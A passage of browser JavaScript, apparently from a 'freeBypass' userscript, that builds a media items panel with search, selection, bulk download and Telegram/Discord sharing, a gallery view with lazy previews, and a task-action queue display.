        const nonEmptyProfileNames = Object.keys(taskProfilesForFilter).filter(name => (taskProfilesForFilter[name]?.tasks || []).length > 0);
        const selectedProfile = nonEmptyProfileNames.includes(homeProfileFilter) ? homeProfileFilter : '';
        if (selectedProfile !== homeProfileFilter) {
          homeProfileFilter = selectedProfile;
          localStorage.setItem('freeBypassHomeProfileFilter', homeProfileFilter);
        }

        const normalizeDateText = (value) => {
          const ts = normalizeTimestamp(value);
          return ts ? new Date(ts).toLocaleString() : '';
        };

        // When a profile is selected, get all items that belong to tasks in that profile
        // Start with active accounts' items
        let baseItems = allViewItems;
        if (selectedProfile) {
          const profileItems = getProfileFlattenedItems(selectedProfile);
          const profileItemIds = new Set(profileItems.map(item => item.id || item.imageId));
          baseItems = allViewItems.filter(item => profileItemIds.has(item.id));
        }

        const searchQuery = (homeItemsSearchQuery || '').trim().toLowerCase();
        const displayedItems = searchQuery
          ? baseItems.filter(item => {
            const haystack = [
              item.id,
              item.taskId,
              item.type,
              item.mimeType,
              item.downloadFileName,
              normalizeDateText(item.createdAt),
              normalizeDateText(item.expiresAt || item.expireAt),
              item.width && item.height ? `${item.width}x${item.height}` : ''
            ].join(' ').toLowerCase();
            return haystack.includes(searchQuery);
          })
          : baseItems;

        const existingIds = new Set(displayedItems.map(item => item.id));
        selectedItems = new Set([...selectedItems].filter(id => existingIds.has(id)));

        const selectionBar = document.createElement('div');
        selectionBar.style.cssText = 'display:flex; flex-wrap:wrap; gap:10px; align-items:center; justify-content:space-between; padding: 10px 12px; border: 1px solid rgba(148,163,184,0.25); border-radius: 12px; background: rgba(15,23,42,0.4);';

        const selectionInfo = document.createElement('div');
        selectionInfo.setAttribute('data-bypass-selection-info', 'true');
        selectionInfo.setAttribute('data-bypass-shown-count', String(displayedItems.length));
        selectionInfo.setAttribute('data-bypass-total-count', String(allViewItems.length));
        selectionInfo.style.cssText = 'font-size: 12px; color: #cbd5e1; font-weight: 600;';
        selectionInfo.textContent = `Selected: ${selectedItems.size} / ${displayedItems.length} shown (${allViewItems.length} total)`;

        const selectionControls = document.createElement('div');
        selectionControls.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';

        const makeMiniBtn = (label, onClick) => {
          const btn = document.createElement('button');
          btn.className = 'bypass-btn bypass-btn-secondary';
          btn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
          btn.textContent = label;
          btn.onclick = onClick;
          return btn;
        };

        selectionControls.appendChild(makeMiniBtn('Select All', () => { displayedItems.forEach(it => setItemSelected(it.id, true)); refreshSelectionUI(); }));
        selectionControls.appendChild(makeMiniBtn('Unselect All', () => { selectedItems.clear(); refreshSelectionUI(); }));
        selectionControls.appendChild(makeMiniBtn('Images', () => { displayedItems.forEach(it => setItemSelected(it.id, it.type !== 'Video' && !it.mimeType?.startsWith('video/'))); refreshSelectionUI(); }));
        selectionControls.appendChild(makeMiniBtn('Videos', () => { displayedItems.forEach(it => setItemSelected(it.id, it.type === 'Video' || it.mimeType?.startsWith('video/'))); refreshSelectionUI(); }));

        const bulkActions = document.createElement('div');
        bulkActions.style.cssText = 'display:flex; gap:8px; align-items:center;';

        const getSelectedList = () => displayedItems.filter(it => selectedItems.has(it.id));
        const disabled = selectedItems.size === 0;

        const actionBtn = (icon, title, onClick) => {
          const btn = document.createElement('button');
          btn.className = 'bypass-action-btn bypass-action-btn-primary';
          btn.style.width = '38px';
          btn.style.height = '38px';
          btn.title = title;
          btn.innerHTML = `<i class="${icon}"></i>`;
          btn.disabled = disabled;
          btn.setAttribute('data-bypass-bulk-action', 'true');
          btn.onclick = onClick;
          return btn;
        };

        if (settings.telegramEnabled && settings.telegramChatId) {
          bulkActions.appendChild(actionBtn('fab fa-telegram', 'Send selected to Telegram', () => {
            const list = getSelectedList();
            const allowDuplicate = !settings.preventDuplicateTasks;
            list.forEach(item => enqueueTaskAction('telegram', item.id, getItemMetaFromId(item.id), allowDuplicate));
            processTaskActionQueue();
            updateGlobalActionProgressFromQueue();
          }));
        }

        if (settings.discordEnabled && settings.discordWebhook) {
          bulkActions.appendChild(actionBtn('fab fa-discord', 'Send selected to Discord', () => {
            const list = getSelectedList();
            const allowDuplicate = !settings.preventDuplicateTasks;
            list.forEach(item => enqueueTaskAction('discord', item.id, getItemMetaFromId(item.id), allowDuplicate));
            processTaskActionQueue();
            updateGlobalActionProgressFromQueue();
          }));
        }

        if (settings.sharedNetworkEnabled) {
          bulkActions.appendChild(actionBtn('fas fa-network-wired', 'Send selected to Shared Network', () => {
            const list = getSelectedList();
            if (!sharedNetIsConfigured()) {
              showToast('Shared Network is disabled or not configured', 'warning');
              return;
            }
            sharedNetSendItemsNow(list, 'bulk-selection-bar')
              .then(() => showToast('Shared Network: sent', 'success'))
              .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
          }));
        }

        bulkActions.appendChild(actionBtn('fas fa-images', 'Force load thumbnails for selected', async () => {
          const list = getSelectedList();
          for (const item of list) {
            // Force load preview for this item
            const loader = forcePreviewLoaders.get(item.id);
            if (loader && typeof loader === 'function') {
              try {
                await loader(true);
              } catch (e) {
                console.error('Force load failed for', item.id, e);
              }
            }
          }
          // Don't call updateUI as it will rebuild everything - previews are already loaded
        }));

        bulkActions.appendChild(actionBtn('fas fa-link', 'Copy direct media links', async () => {
          const list = getSelectedList();
          const urls = [];
          for (const item of list) {
            const url = await getPreviewUrlForItem(item);
            if (url) urls.push(url);
          }
          if (urls.length === 0) {
            alert('No URLs available for selected items.');
            return;
          }
          const payload = urls.join('\n');
          if (navigator.clipboard?.writeText) {
            await navigator.clipboard.writeText(payload);
          } else {
            const ta = document.createElement('textarea');
            ta.value = payload;
            document.body.appendChild(ta);
            ta.select();
            document.execCommand('copy');
            ta.remove();
          }
          alert(`Copied ${urls.length} direct media links.`);
        }));

        bulkActions.appendChild(actionBtn('fas fa-download', 'Download selected', () => {
          const list = getSelectedList();
          const allowDuplicate = !settings.preventDuplicateTasks;
          list.forEach(item => enqueueTaskAction('download', item.id, getItemMetaFromId(item.id), allowDuplicate));
          processTaskActionQueue();
          updateGlobalActionProgressFromQueue();
        }));

        selectionBar.appendChild(selectionInfo);
        selectionBar.appendChild(selectionControls);
        selectionBar.appendChild(bulkActions);

        // Always add to DOM but hide when no items selected
        content.appendChild(selectionBar);
        selectionBar.style.display = selectedItems.size > 0 ? 'flex' : 'none';

        const actionDiv = document.createElement('div');
        actionDiv.className = 'bypass-action-buttons';

        if (nonEmptyProfileNames.length > 0) {
          const profileSelect = document.createElement('select');
          const dialogColors = getThemeColors();
          profileSelect.style.cssText = `padding:7px 9px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px; min-width:140px;`;

          const noneOpt = document.createElement('option');
          noneOpt.value = '';
          noneOpt.textContent = 'None (show all)';
          profileSelect.appendChild(noneOpt);

          nonEmptyProfileNames.forEach(name => {
            const opt = document.createElement('option');
            opt.value = name;
            opt.textContent = `${name} (${(taskProfilesForFilter[name]?.tasks || []).length})`;
            profileSelect.appendChild(opt);
          });

          profileSelect.value = homeProfileFilter;
          profileSelect.onchange = () => {
            homeProfileFilter = profileSelect.value;
            localStorage.setItem('freeBypassHomeProfileFilter', homeProfileFilter);
            tabContentCache.clear();
            updateUI();
          };

          actionDiv.appendChild(profileSelect);
        }

        const itemSearchInput = document.createElement('input');
        itemSearchInput.type = 'text';
        itemSearchInput.placeholder = 'Search ID / task / date / MIME / filename...';
        itemSearchInput.value = homeItemsSearchQuery || '';
        const dialogColors = getThemeColors();
        itemSearchInput.style.cssText = `min-width:200px; flex:1; padding:8px 10px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px;`;

        // Debounce to prevent constant refreshes while typing
        let searchDebounceTimer = null;
        itemSearchInput.oninput = () => {
          homeItemsSearchQuery = itemSearchInput.value || '';
          localStorage.setItem('freeBypassHomeSearchQuery', homeItemsSearchQuery);
          tabContentCache.clear();

          // Clear existing timer
          if (searchDebounceTimer) clearTimeout(searchDebounceTimer);

          // Only update UI after 300ms of no typing
          searchDebounceTimer = setTimeout(() => {
            updateUI();
          }, 300);
        };
        actionDiv.appendChild(itemSearchInput);

        const downloadAllBtn = document.createElement('button');
        downloadAllBtn.className = 'bypass-action-btn bypass-action-btn-primary';
        downloadAllBtn.title = `Download All ${displayedItems.length} Shown Items`;
        downloadAllBtn.innerHTML = `<i class="fas fa-download"></i>`;
        downloadAllBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
        downloadAllBtn.onclick = async () => {
          showConfirmDialog(`Download ${displayedItems.length} shown items?`, async () => {
            for (const item of displayedItems) {
              try {
                await downloadMediaById(item.id, item.mimeType);
              } catch (err) {
                alert(`Error downloading ${item.id}: ${err.message}`);
              }
            }
          });
        };

        const viewModeBtn = document.createElement('button');
        viewModeBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
        viewModeBtn.title = settings.viewMode === 'cards' ? 'Switch to Gallery View' : 'Switch to Cards View';
        viewModeBtn.innerHTML = settings.viewMode === 'cards' ? '<i class="fas fa-th"></i>' : '<i class="fas fa-th-large"></i>';
        viewModeBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
        viewModeBtn.onclick = () => {
          settings.viewMode = settings.viewMode === 'cards' ? 'gallery' : 'cards';
          saveSettings();
          updateUI();
        };

        // Column layout dropdown for cards view
        let cartColumnsSelect = null;
        if (settings.viewMode === 'cards') {
          const dialogColors = getThemeColors();
          cartColumnsSelect = document.createElement('select');
          cartColumnsSelect.style.cssText = `padding:7px 9px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px; min-width:90px;`;

          [2, 3, 4, 5, 6].forEach(cols => {
            const opt = document.createElement('option');
            opt.value = cols;
            opt.textContent = `${cols} Columns`;
            if (settings.cartColumns === cols) opt.selected = true;
            cartColumnsSelect.appendChild(opt);
          });

          cartColumnsSelect.onchange = () => {
            settings.cartColumns = parseInt(cartColumnsSelect.value);
            saveSettings();
            tabContentCache.clear();
            updateUI();
          };

          actionDiv.appendChild(cartColumnsSelect);
        }

        const refreshBtn = document.createElement('button');
        refreshBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
        refreshBtn.title = 'Refresh Items List';
        refreshBtn.innerHTML = `<i class="fas fa-sync-alt"></i>`;
        refreshBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
        refreshBtn.onclick = async () => {
          refreshBtn.disabled = true;
          refreshBtn.innerHTML = `<i class="fas fa-spinner fa-spin"></i>`;
          await new Promise(r => setTimeout(r, 1500));
          refreshBtn.innerHTML = `<i class="fas fa-sync-alt"></i>`;
          refreshBtn.disabled = false;
        };

        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-action-btn bypass-action-btn-danger';
        clearBtn.title = 'Clear All Items';
        clearBtn.innerHTML = `<i class="fas fa-trash-alt"></i>`;
        clearBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
        clearBtn.onclick = () => {
          showConfirmDialog('Clear all items? This cannot be undone.', () => {
            itemsData = [];
            blockedItems = new Set();
            selectedItems.clear();
            updateUI();
          });
        };

        let copyMenuWrap = null;
        if (settings.enableCopyBypassedLinks) {
          copyMenuWrap = document.createElement('div');
          copyMenuWrap.style.cssText = 'position: relative;';
          const copyBtn = document.createElement('button');
          copyBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
          copyBtn.title = 'Copy bypassed links';
          copyBtn.innerHTML = `<i class="fas fa-copy"></i>`;
          copyBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';

          const menu = document.createElement('div');
          menu.style.cssText = 'display:none;position:absolute;top:46px;right:0;z-index:100000;background:#0f172a;border:1px solid #475569;border-radius:8px;min-width:170px;padding:6px;';

          const mk = (label, format) => {
            const b = document.createElement('button');
            b.className = 'bypass-btn bypass-btn-secondary';
            b.style.cssText = 'width:100%;justify-content:flex-start;padding:8px 10px;font-size:11px;';
            b.textContent = label;
            b.onclick = async (e) => {
              e.stopPropagation();
              menu.style.display = 'none';
              await copyBypassedLinks(format);
            };
            menu.appendChild(b);
          };

          mk('Copy as Text', 'text');
          mk('Copy as JSON', 'json');
          mk('Copy as XML', 'xml');
          mk('Copy as HTML', 'html');

          copyBtn.onclick = (e) => {
            e.stopPropagation();
            menu.style.display = menu.style.display === 'none' ? 'block' : 'none';
          };
          document.addEventListener('click', () => {
            menu.style.display = 'none';
          });

          copyMenuWrap.appendChild(copyBtn);
          copyMenuWrap.appendChild(menu);
        }

        // Modern compact layout: filters left, view center, actions right
        actionDiv.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap;';

        // Left group: filters (already appended above)

        // View controls group
        actionDiv.appendChild(viewModeBtn);
        if (cartColumnsSelect) actionDiv.appendChild(cartColumnsSelect);

        // Right actions group
        actionDiv.appendChild(downloadAllBtn);
        actionDiv.appendChild(refreshBtn);
        if (copyMenuWrap) actionDiv.appendChild(copyMenuWrap);
        actionDiv.appendChild(clearBtn);

        content.appendChild(actionDiv);

        // Show token usage (active accounts + last token actually used)
        content.appendChild(createTokenUsageBanner(displayedItems.length));

        const stats = getTaskActionStats();
        if (stats.total && (stats.queued + stats.inProgress)) {
          const progressWrap = document.createElement('div');
          progressWrap.style.cssText = 'padding: 8px 10px; border: 1px solid rgba(148,163,184,0.25); border-radius: 10px; background: rgba(15,23,42,0.35);';
          progressWrap.setAttribute('data-bypass-home-progress', 'true');
          const progressText = document.createElement('div');
          progressText.setAttribute('data-bypass-home-progress-text', 'true');
          progressText.style.cssText = 'font-size: 11px; color: #94a3b8; margin-bottom: 6px;';
          const completed = stats.done + stats.failed;
          if (stats.current) {
            progressText.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
          } else {
            progressText.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
          }
          const progressBar = document.createElement('div');
          progressBar.style.cssText = 'height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;';
          const progressFill = document.createElement('div');
          progressFill.setAttribute('data-bypass-home-progress-bar', 'true');
          progressFill.style.cssText = `height: 100%; width: ${stats.total ? Math.round((completed / stats.total) * 100) : 0}%; background: linear-gradient(135deg, #6366f1, #8b5cf6);`;
          progressBar.appendChild(progressFill);

          progressWrap.appendChild(progressText);
          progressWrap.appendChild(progressBar);

          const previewHost = document.createElement('div');
          previewHost.setAttribute('data-bypass-home-progress-preview', 'true');
          progressWrap.appendChild(previewHost);

          if (settings.showDownloadPreview && stats.current && ['download', 'telegram', 'discord'].includes(stats.current.action)) {
            const previewRow = document.createElement('div');
            previewRow.className = 'bypass-download-preview';
            previewRow.style.marginTop = '10px';

            const mediaWrap = document.createElement('div');
            mediaWrap.className = 'bypass-download-preview-media';
            mediaWrap.textContent = 'Loading...';

            const info = document.createElement('div');
            info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
            const actionLabel = stats.current.action === 'telegram'
              ? 'Sending to Telegram'
              : stats.current.action === 'discord'
                ? 'Sending to Discord'
                : 'Downloading';
            info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;

            previewRow.appendChild(mediaWrap);
            previewRow.appendChild(info);
            previewHost.appendChild(previewRow);

            const currentId = stats.current.imageId;
            if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
              mediaWrap.innerHTML = '';
              if (stats.current.mimeType?.startsWith('video/')) {
                const vid = document.createElement('video');
                vid.src = downloadPreviewCache.url;
                vid.muted = true;
                vid.autoplay = true;
                vid.loop = true;
                vid.playsInline = true;
                mediaWrap.appendChild(vid);
              } else {
                const img = document.createElement('img');
                img.src = downloadPreviewCache.url;
                mediaWrap.appendChild(img);
              }
            } else {
              downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
              ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
                if (downloadPreviewCache.imageId !== currentId) return;
                downloadPreviewCache.url = url;
                mediaWrap.innerHTML = '';
                if (!url) {
                  mediaWrap.textContent = 'Preview unavailable';
                  return;
                }
                if (stats.current.mimeType?.startsWith('video/')) {
                  const vid = document.createElement('video');
                  vid.src = url;
                  vid.muted = true;
                  vid.autoplay = true;
                  vid.loop = true;
                  vid.playsInline = true;
                  mediaWrap.appendChild(vid);
                } else {
                  const img = document.createElement('img');
                  img.src = url;
                  mediaWrap.appendChild(img);
                }
              });
            }
          }

          content.appendChild(progressWrap);
        }

        // Items list or gallery (lazy rendering to avoid heavy request bursts)
        const INITIAL_BATCH = 25;
        const BATCH_SIZE = 25;
        let renderedCount = 0;
        let loadingChunk = false;

        const listHost = document.createElement('div');
        // Multi-column layout for cards, flex column for gallery
        if (settings.viewMode === 'cards') {
          const cols = settings.cartColumns || 2;
          listHost.style.cssText = `display: grid; grid-template-columns: repeat(${cols}, minmax(0, 1fr)); gap: 12px; width: 100%; align-items: start;`;
        } else {
          listHost.style.cssText = 'display:flex; flex-direction:column; gap:12px; width:100%;';
        }
        content.appendChild(listHost);

        const loadInfo = document.createElement('div');
        loadInfo.style.cssText = `font-size:11px;color:#94a3b8;text-align:center;padding:8px 0;${settings.viewMode === 'cards' ? 'grid-column: 1 / -1;' : ''}`;
        listHost.appendChild(loadInfo);

        const previewBatchController = {
          loaders: new Map(),
          queue: [],
          completed: new Set(),
          inFlight: new Set(),
          batchSize: 25,
          batchIndex: 0,
          waitingForScroll: false,
          reset() {
            this.loaders.clear();
            this.queue = [];
            this.completed.clear();
            this.inFlight.clear();
            this.batchIndex = 0;
            this.waitingForScroll = false;
          },
          register(itemId, loader) {
            if (!itemId || typeof loader !== 'function') return;
            if (!this.loaders.has(itemId)) {
              this.queue.push(itemId);
            }
            this.loaders.set(itemId, loader);
          },
          markDone(itemId) {
            this.inFlight.delete(itemId);
            this.completed.add(itemId);
            this.updateBatchState();
          },
          updateBatchState() {
            const start = this.batchIndex * this.batchSize;
            const ids = this.queue.slice(start, start + this.batchSize);
            if (!ids.length) return;
            const done = ids.every(id => this.completed.has(id));
            if (done && !this.waitingForScroll) {
              this.waitingForScroll = true;
            }
          },
          pump() {
            if (!settings.preview) return;
            const start = this.batchIndex * this.batchSize;
            const ids = this.queue.slice(start, start + this.batchSize);
            if (!ids.length) return;
            ids.forEach(id => {
              if (this.completed.has(id) || this.inFlight.has(id)) return;
              const loader = this.loaders.get(id);
              if (!loader) return;
              this.inFlight.add(id);
              Promise.resolve(loader(false)).catch(() => null).finally(() => this.markDone(id));
            });
            this.updateBatchState();
          },
          advance() {
            if (!this.waitingForScroll) return;
            this.waitingForScroll = false;
            this.batchIndex += 1;
            this.pump();
          }
        };

        let gridHost = null;
        if (settings.viewMode === 'gallery') {
          gridHost = document.createElement('div');
          gridHost.style.cssText = 'display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 12px; width: 100%;';
          listHost.appendChild(gridHost);
          // Reset batch controller for fresh gallery load
          previewBatchController.reset();
        }

        const appendGalleryItem = (item) => {
          const galleryItem = document.createElement('div');
          galleryItem.className = 'bypass-gallery-item';
          galleryItem.style.cursor = 'pointer';
          galleryItem.setAttribute('data-bypass-item-id', item.id);
          if (selectedItems.has(item.id)) {
            galleryItem.classList.add('selected');
          }

          const isVideo = item.type === 'Video' || item.mimeType?.startsWith('video/');
          const placeholder = () => {
            const ph = document.createElement('div');
            ph.style.cssText = 'width: 100%; height: 150px; background: #334155; display: flex; align-items: center; justify-content: center; color: #cbd5e1;';
            ph.innerHTML = isVideo ? '<i class="fas fa-video"></i>' : '<i class="fas fa-image"></i>';
            return ph;
          };

          const ph = placeholder();
          galleryItem.appendChild(ph);

          const loadImagePreview = async () => {
            const url = await getPreviewUrlForItem(item);
            if (!url || !ph.isConnected) return;
            const img = document.createElement('img');
            img.src = url;
            img.style.cssText = 'width: 100%; height: 150px; object-fit: cover;';
            img.onerror = () => {
              if (img.parentElement) {
                img.parentElement.replaceChild(placeholder(), img);
              }
            };
            ph.replaceWith(img);
          };

          const loadVideoPreview = async () => {
            const url = await getPreviewUrlForItem(item);
            if (!url || !ph.isConnected) return;
            const video = document.createElement('video');
            video.src = url;
            video.muted = true;
            video.playsInline = true;
            video.preload = 'metadata';
            video.style.cssText = 'width: 100%; height: 150px; object-fit: cover;';
            video.onloadedmetadata = () => {
              try {
                video.currentTime = 0.001;
              } catch {
                // no-op
              }
            };
            video.onseeked = () => video.pause();
            video.oncanplay = () => video.pause();
            video.onerror = () => {
              if (video.parentElement) {
                video.parentElement.replaceChild(placeholder(), video);
              }
            };
            video.load();
            ph.replaceWith(video);
          };

          if (settings.preview) {
            if (isVideo) {
              registerForcePreviewLoader(item.id, loadVideoPreview);
              previewBatchController.register(item.id, loadVideoPreview);
              // Load immediately instead of showing "Queued"
              loadVideoPreview().catch(() => {
                if (ph.isConnected) ph.innerHTML = '<i class="fas fa-triangle-exclamation"></i>';
              });
            } else {
              registerForcePreviewLoader(item.id, loadImagePreview);
              loadImagePreview().catch(() => {
                if (ph.isConnected) ph.innerHTML = '<i class="fas fa-triangle-exclamation"></i>';
              });
            }
          }

          if (isVideo) {
            const play = document.createElement('div');
            play.className = 'bypass-gallery-play';
            play.innerHTML = '<i class="fas fa-play"></i>';
            galleryItem.appendChild(play);
          }

          const badge = document.createElement('div');
          badge.style.cssText = 'position: absolute; top: 8px; right: 8px; background: #6366f1; color: white; padding: 4px 8px; border-radius: 4px; font-size: 11px; font-weight: 600;';
          badge.textContent = item.type;
          galleryItem.appendChild(badge);

          const statusIcons = renderStatusIcons(item.id);
          if (statusIcons) {
            const statusBadge = document.createElement('div');
            statusBadge.style.cssText = 'position: absolute; bottom: 8px; right: 8px; background: rgba(0,0,0,0.6); color: white; padding: 4px 6px; border-radius: 6px; font-size: 11px; display: flex; gap: 6px; align-items: center;';
            statusBadge.setAttribute('data-bypass-gallery-status', item.id);
            statusBadge.innerHTML = statusIcons;
            galleryItem.appendChild(statusBadge);
          }

          if (settings.showBypassedLink) {
            const urlLabel = document.createElement('div');
            urlLabel.style.cssText = 'position:absolute;bottom:8px;left:8px;max-width:70%;background:rgba(0,0,0,0.62);color:#cbd5e1;padding:4px 6px;border-radius:6px;font-size:10px;font-family:Courier New, monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;';
            urlLabel.textContent = 'Resolving...';
            galleryItem.appendChild(urlLabel);
            (async () => {
              const url = await getPreviewUrlForItem(item);
              if (!urlLabel.isConnected) return;
              if (!url) {
                urlLabel.textContent = 'Unavailable';
                return;
              }
              urlLabel.innerHTML = `<a href="${escapeHtml(url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;text-decoration:none;">${escapeHtml(url)}</a>`;
            })().catch(() => {
              if (urlLabel.isConnected) urlLabel.textContent = 'Unavailable';
            });
          }

          galleryItem.onclick = async () => {
            if (selectedItems.size > 0) {
              toggleItemSelected(item.id);
              refreshSelectionUI();
              return;
            }
            if (isVideo && !settings.showVideoModal) {
              await downloadMediaById(item.id, item.mimeType);
              return;
            }
            const url = await getPreviewUrlForItem(item);
            if (!url) return;
            openImageModal(url, item.taskId, item.createdAt, item.expiresAt, [], item.id, item.mimeType);
          };
          galleryItem.onmouseover = () => galleryItem.style.borderColor = '#6366f1';
          galleryItem.onmouseout = () => galleryItem.style.borderColor = '#475569';

          galleryItem.addEventListener('contextmenu', (e) => {
            e.preventDefault();
            showItemContextMenu(e.clientX, e.clientY, item);
          });

          (gridHost || listHost).appendChild(galleryItem);
        };

        const renderChunk = () => {
          if (loadingChunk) return;
          loadingChunk = true;
          const next = displayedItems.slice(renderedCount, renderedCount + (renderedCount === 0 ? INITIAL_BATCH : BATCH_SIZE));
          if (!next.length) {
            loadInfo.textContent = `Loaded all ${displayedItems.length} item(s).`;
            loadingChunk = false;
            return;
          }

          next.forEach(item => {
            if (settings.viewMode === 'gallery') {
              appendGalleryItem(item);
            } else {
              listHost.appendChild(createItemCard(item, { allowPreview: true }));
            }
          });

          renderedCount += next.length;
          loadInfo.textContent = renderedCount < displayedItems.length
            ? `Loaded ${renderedCount}/${displayedItems.length}. Scroll to load more...`
            : `Loaded all ${displayedItems.length} item(s).`;
          loadingChunk = false;
        };

        const maybeLoadMore = () => {
          if (previewBatchController.waitingForScroll) {
            previewBatchController.advance();
          }
          if (renderedCount >= displayedItems.length || loadingChunk) return;
          const threshold = 220;
          const nearBottom = content.scrollTop + content.clientHeight >= content.scrollHeight - threshold;
          if (nearBottom) renderChunk();
        };

        renderChunk();
        content.addEventListener('scroll', maybeLoadMore, { passive: true });
      }
      if (currentTab === 'home') {
        content.setAttribute('data-bypass-tab', 'home');
        content.setAttribute('data-bypass-items-key', itemsKey);
        tabContentCache.set('home', content);
      }
      }
    } else if (currentTab === 'tasks') {
      const cache = loadTaskActions();
      const actions = cache.items;
      const stats = getTaskActionStats();

      if (stats.total) {
        const progressWrap = document.createElement('div');
        progressWrap.style.cssText = 'padding: 8px 10px; border: 1px solid rgba(148,163,184,0.25); border-radius: 10px; background: rgba(15,23,42,0.35);';
        const progressText = document.createElement('div');
        progressText.setAttribute('data-bypass-tasks-progress-text', 'true');
        progressText.style.cssText = 'font-size: 11px; color: #94a3b8; margin-bottom: 6px;';
        const completed = stats.done + stats.failed;
        if (stats.current) {
          progressText.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
        } else {
          progressText.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
        }
        const progressBar = document.createElement('div');
        progressBar.style.cssText = 'height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;';
        const progressFill = document.createElement('div');
        progressFill.setAttribute('data-bypass-tasks-progress-bar', 'true');
        progressFill.style.cssText = `height: 100%; width: ${stats.total ? Math.round((completed / stats.total) * 100) : 0}%; background: linear-gradient(135deg, #6366f1, #8b5cf6);`;
        progressBar.appendChild(progressFill);

        progressWrap.appendChild(progressText);
        progressWrap.appendChild(progressBar);

        const previewHost = document.createElement('div');
        previewHost.setAttribute('data-bypass-tasks-progress-preview', 'true');
        progressWrap.appendChild(previewHost);

        if (settings.showDownloadPreview && stats.current && ['download', 'telegram', 'discord'].includes(stats.current.action)) {
          const previewRow = document.createElement('div');
          previewRow.className = 'bypass-download-preview';
          previewRow.style.marginTop = '10px';

          const mediaWrap = document.createElement('div');
          mediaWrap.className = 'bypass-download-preview-media';
          mediaWrap.textContent = 'Loading...';

          const info = document.createElement('div');
          info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
          const actionLabel = stats.current.action === 'telegram'
            ? 'Sending to Telegram'
            : stats.current.action === 'discord'
              ? 'Sending to Discord'
              : 'Downloading';
          info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;

          previewRow.appendChild(mediaWrap);
          previewRow.appendChild(info);
          previewHost.appendChild(previewRow);

          const currentId = stats.current.imageId;
          if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
            mediaWrap.innerHTML = '';
            if (stats.current.mimeType?.startsWith('video/')) {
              const vid = document.createElement('video');
              vid.src = downloadPreviewCache.url;
              vid.muted = true;
              vid.autoplay = true;
              vid.loop = true;
              vid.playsInline = true;
              mediaWrap.appendChild(vid);
            } else {
              const img = document.createElement('img');
              img.src = downloadPreviewCache.url;
              mediaWrap.appendChild(img);
            }
          } else {
            downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
            ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
              if (downloadPreviewCache.imageId !== currentId) return;
              downloadPreviewCache.url = url;
              mediaWrap.innerHTML = '';
              if (!url) {
                mediaWrap.textContent = 'Preview unavailable';
                return;
              }
              if (stats.current.mimeType?.startsWith('video/')) {
                const vid = document.createElement('video');
                vid.src = url;
                vid.muted = true;
                vid.autoplay = true;
                vid.loop = true;
                vid.playsInline = true;
                mediaWrap.appendChild(vid);
              } else {
                const img = document.createElement('img');
                img.src = url;
                mediaWrap.appendChild(img);
              }
            });
          }
        }

        content.appendChild(progressWrap);
      }

      const headerRow = document.createElement('div');
      headerRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px;';
      const title = document.createElement('div');
      title.style.cssText = 'font-weight:600; font-size:13px;';
      title.textContent = 'Task Actions Queue';
      const controls = document.createElement('div');
      controls.style.cssText = 'display:flex; gap:8px; align-items:center;';

      const queueFilterKeys = {
        query: 'freeBypassTaskQueueQuery',
        status: 'freeBypassTaskQueueStatus',
        action: 'freeBypassTaskQueueAction'
      };

      const queueFilters = {
        query: localStorage.getItem(queueFilterKeys.query) || '',
        status: localStorage.getItem(queueFilterKeys.status) || 'all',
        action: localStorage.getItem(queueFilterKeys.action) || 'all'
      };

      const pauseBtn = document.createElement('button');
      pauseBtn.className = 'bypass-btn bypass-btn-secondary';
      pauseBtn.style.width = 'auto';
      pauseBtn.textContent = cache.paused ? 'Resume All' : 'Pause All';
      pauseBtn.onclick = () => {
        cache.paused = !cache.paused;
        saveTaskActions();
        if (!cache.paused) processTaskActionQueue();
        updateUI();
      };

      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.width = 'auto';
      clearBtn.textContent = 'Clear All';
      clearBtn.onclick = () => {
        cache.items = [];
        saveTaskActions();
        updateUI();
      };

      const retryFailedBtn = document.createElement('button');
      retryFailedBtn.className = 'bypass-btn bypass-btn-secondary';
      retryFailedBtn.style.width = 'auto';
      retryFailedBtn.textContent = 'Retry Failed';
